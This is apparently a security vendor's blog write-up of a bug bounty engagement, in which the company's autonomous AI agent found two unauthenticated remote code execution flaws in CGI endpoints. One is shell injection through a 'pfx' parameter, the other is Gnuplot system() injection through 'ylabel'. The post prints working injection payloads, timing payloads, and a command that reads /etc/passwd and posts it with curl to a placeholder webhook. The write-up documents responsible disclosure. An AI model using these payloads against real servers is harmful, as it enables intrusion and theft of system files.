From Discovery to Initial Access: How FireCompass AI Agent Identified Multiple Remote Code Execution Paths

Modern web applications often expose numerous server-side components that invoke operating system utilities to process user requests. While these utilities simplify functionality, they also expand the attack surface when user-controlled input is passed into shell commands or embedded scripting engines without proper validation.

During a recent private bug bounty engagement, FireCompass AI Agent autonomously identified multiple independent Remote Code Execution (RCE) vulnerabilities across separate CGI endpoints within the same application.

Rather than identifying a single exploitable path, FireCompass AI Agent correlated multiple findings to demonstrate that an unauthenticated attacker had multiple opportunities to achieve Initial Access to the underlying server.

The vulnerabilities included:

• Shell Command Injection through an input parameter passed directly to a backend operating system command.
• Gnuplot Command Injection resulting in arbitrary operating system command execution through Gnuplot’s built-in system() function.

To protect the affected organization, all identifying information including domains, endpoints, request values, screenshots, and infrastructure details have been redacted throughout this article.

Understanding the Attack Surface

The assessment revealed multiple server-side components that processed user input before invoking external programs.

A simplified architecture looked like:

FireCompass AI Agent treated every externally invoked component as a potential execution boundary and continuously analyzed how user-controlled input propagated through each processing stage.

How FireCompass AI Agent Identified the Issue

The assessment began with FireCompass AI Agent performing autonomous endpoint discovery followed by behavioral analysis of every server-side component exposed by the application.

Phase 1: Autonomous Endpoint Discovery

FireCompass AI Agent discovered multiple CGI endpoints responsible for different application functions.

Among the discovered endpoints were:

• Prefix reporting functionality
• Graph generation functionality

Because both endpoints accepted numerous user-controlled parameters and interacted with backend utilities, the platform classified them as high-value attack surfaces for further analysis.

Prefix reporting Endpoint :

curl -i --noproxy '*' 'http://REDACTEDcgi-bin/prefix-report?pfx=INJMARK'

Gnuplot Endpoint :

curl -4 -sS --max-time 20 -o /dev/null -w "status=%{http_code} time=%{time_total} size=%{size_download}\n" "http://REDACTED/cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP+entries"

Phase 2: AI-Assisted Parameter Analysis

Rather than fuzzing parameters indiscriminately, FireCompass AI Agent reasoned about how each parameter influenced backend execution.

The agent identified two parameters that warranted deeper investigation:

Endpoint	Parameter	Backend Component
Prefix Reporting	pfx	Operating System Shell
Plot Generation	ylabel	Gnuplot Script

Both parameters appeared to influence server-side processing beyond simple data rendering.

Phase 3: Discovery of RCE Path #1 Shell Command Injection

The first execution path was identified in the Prefix Report functionality.

FireCompass AI Agent observed that user-supplied input appeared to be passed directly into an operating system command.

To validate this behavior safely, the platform generated controlled payloads designed to determine whether shell metacharacters were interpreted by the operating system.

Request :

curl -i --noproxy '*' 'http://REDACTED/cgi-bin/prefix-report?pfx=INJMARK%7Cid'

Response:

HTTP/1.1 200 OK
Server: Apache/2.4.66 (Debian)
Content-Type: text/html
Content-Length: 54

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The application returned evidence indicating that operating system commands were executed directly by the backend process.

This confirmed an unauthenticated Shell Command Injection vulnerability resulting in Remote Code Execution.

Request :

GET cgi-bin/prefix-report?pfx=INJMARK%7Ccat/etc/passwd HTTP/1.1
Host: REDACTED
User-Agent: FireCompass AI Agent
Accept: */*
Connection: close

Response :

HTTP/1.1 200 OK
Date: <REDACTED>
Server: Apache/2.4.x
Content-Type: text/html
Content-Length: <REDACTED>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

Manual Validation by analyst reveled that the vulnerability is True Positive and Exploitable

Phase 4: Discovery of RCE Path #2 Gnuplot Command Injection

While analyzing a separate graph-generation component, FireCompass AI Agent identified another execution boundary.

Instead of invoking shell commands directly, this endpoint dynamically generated a Gnuplot script using user-controlled input.

The ylabel parameter was embedded directly into the generated script without proper escaping.

Initial validation used a benign Gnuplot directive that modified the rendered graph.

Example request:

curl -4 -sS --max-time 20 -o /dev/null -w "status=%{http_code} time=%{time_total} size=%{size_download}\n" "http://REDACTED/cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP+entries"

Response:

HTTP/1.1 200 OK
Content-Type: image/png

The resulting image differed from the baseline graph, confirming arbitrary Gnuplot statement execution.

Phase 5: Command Execution Validation

After confirming that arbitrary Gnuplot statements could be injected into the dynamically generated plotting script, FireCompass AI Agent autonomously generated a series of safe, non-destructive validation payloads to determine whether gnuplot’s built-in system() function could invoke malicious operating system commands and the injected statements were being executed by the backend server.

Instead of attempting intrusive actions, the agent leveraged a time-based validation technique by injecting payloads that invoked the operating system’s sleep function for increasing durations. The platform measured the response time for each request and compared it with the baseline response to determine whether the payload was executed on the server.

SLEEP 1:

curl -4 -sS --max-time 25 -o /dev/null -w "status=%{http_code} time=%{time_total} size=%{size_download}\n" "http://REDACTED/cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP%20entries%22%3Bsystem%28%22sleep%201%22%29%3B%23"

SLEEP 3:

curl -4 -sS --max-time 25 -o /dev/null -w "status=%{http_code} time=%{time_total} size=%{size_download}\n" "http://REDACTED/cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP%20entries%22%3Bsystem%28%22sleep%203%22%29%3B%23"

SLEEP 5:

curl -4 -sS --max-time 30 -o /dev/null -w "status=%{http_code} time=%{time_total} size=%{size_download}\n" "http://REDACTED/cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP%20entries%22%3Bsystem%28%22sleep%205%22%29%3B%23"

Expected: HTTP 200 with response times approximately baseline+N seconds.

Validation Payload	Expected Behavior	Observed Result
Baseline Request	Normal response time	~Baseline
Sleep 1	Baseline + 1 second	✓ Response delayed by ~1 second
Sleep 3	Baseline + 3 seconds	✓ Response delayed by ~3 seconds
Sleep 5	Baseline + 5 seconds	✓ Response delayed by ~5 seconds

Although the endpoint continued returning valid PNG images, response times increased consistently according to the injected delay.

This confirmed operating system command execution while remaining within responsible disclosure guidelines.

Phase 6: Initial Access Achieved

Rather than reporting the two vulnerabilities independently, FireCompass AI Agent correlated the findings to evaluate their overall impact. The platform determined that both vulnerabilities independently provided an unauthenticated attacker with the ability to execute operating system commands.

Although the underlying injection mechanisms differed, one through direct shell invocation and the other through Gnuplot script injection, both ultimately resulted in the same outcome:

Unauthenticated Initial Access to the underlying server.

To validate the security impact, FireCompass AI Agent performed a controlled proof-of-execution by securely retrieving a operating system file and confirming that the server could transmit its contents to an externally controlled validation endpoint. This demonstrated that arbitrary commands could be executed on the host and that an attacker could potentially access sensitive information available to the web service account.

The validation remained strictly within the scope of the responsible disclosure program. No persistence mechanisms were established, no privilege escalation was attempted, and no unnecessary system enumeration was performed.

Safe Payload Generated By Agent :

BGP entries";system("cat /etc/passwd > /tmp/x && curl -s -d @/tmp/x [webhookurl]");#

Request :

GET /cgi-bin/plot?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp%2dactive%2etxt&start=1782803216&end=1783494416&width=0.9&height=0.3&with=step&grid=&ylabel=BGP%20entries%22%3Bsystem%28%22cat%20%2Fetc%2Fpasswd%20%3E%20%2Ftmp%2Fx%20%26%26%20curl%20-s%20-d%20%40%2Ftmp%2Fx%20%5Bwebhookurl%5D%22%29%3B%23 HTTP/1.1 Host:REDACTED

RESPONSE

HTTP/1.1 200 OK
Date: <REDACTED>
Server: Apache/2.4.x
Content-Type: text/html
Content-Length: <REDACTED>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

This demonstrated that compromising the application did not depend on a single vulnerable component. Multiple independent attack paths existed that could each be leveraged to establish an initial foothold.

Analyst manually validated the same

Two RCE paths at a glance

Attribute	RCE Path #1	RCE Path #2
Vulnerability	Shell Command Injection	Gnuplot Command Injection
Endpoint	Prefix Report CGI	Plot / graph generation CGI
Parameter	pfx	ylabel
Mechanism	Input passed directly into a backend operating system command	Input embedded into a generated Gnuplot script, executed via Gnuplot’s system() function
Validation	Shell metacharacter injection returning id and /etc/passwd	Time-based delays with sleep, then controlled file retrieval
Authentication	Unauthenticated	Unauthenticated
Outcome	Remote Code Execution and Initial Access	Remote Code Execution and Initial Access

Why This Matters

Organizations often remediate vulnerabilities individually without considering the broader attack surface.

In this assessment, FireCompass AI Agent demonstrated that:

• Multiple independent CGI components exposed execution primitives.
• Distinct vulnerabilities converged on the same attacker objective.
• Eliminating only one RCE would still leave another viable path to Initial Access.

This highlights the importance of reasoning across findings rather than treating vulnerabilities in isolation. It is the same multi-stage logic behind continuous autonomous pentesting, where discovery, exploitation, and correlation run as one loop rather than separate steps.

How FireCompass AI Agent Detected Multiple RCE Paths

The findings were not based on static signatures or predefined payloads.

FireCompass AI Agent combined:

Autonomous Asset Discovery

Identification of multiple CGI components exposed to unauthenticated users.

AI-Assisted Parameter Analysis

Understanding how user-controlled parameters propagated into backend execution contexts.

Behavioral Security Testing

Generating safe payloads to distinguish data processing from executable command contexts.

Dynamic Attack Workflow Generation

Automatically validating independent execution paths while remaining within responsible disclosure boundaries.

Reasoning-Based Correlation

Recognizing that distinct vulnerabilities across different application components ultimately enabled the same attacker objective: Initial Access.

Evidence Correlation

Combining:

• HTTP request traces
• Response analysis
• Timing observations
• Image rendering changes
• Operating system command execution
• Multi-endpoint behavior

into a single attack narrative demonstrating multiple paths to compromise.

Conclusion

This assessment demonstrates how FireCompass AI Agent moved beyond identifying isolated vulnerabilities to reasoning about attacker objectives.

By autonomously discovering two independent Remote Code Execution vulnerabilities, one through Shell Command Injection and the other through Gnuplot Command Injectionthe platform established that multiple unauthenticated paths existed to achieve Initial Access.

Rather than treating these as separate issues, FireCompass AI Agent correlated them into a unified attack narrative, providing defenders with a clearer understanding of the application’s true risk posture while enabling prioritized remediation of the underlying architectural weaknesses. This is the reasoning layer behind agentic AI web application penetration testing: not a list of isolated findings, but validated, correlated attack paths with proof.

Run a Free AI Pen Test

Related reading: how FireCompass AI discovered an unauthenticated LLM proxy and system prompt disclosure vulnerability, what is penetration testing, and what is red teaming.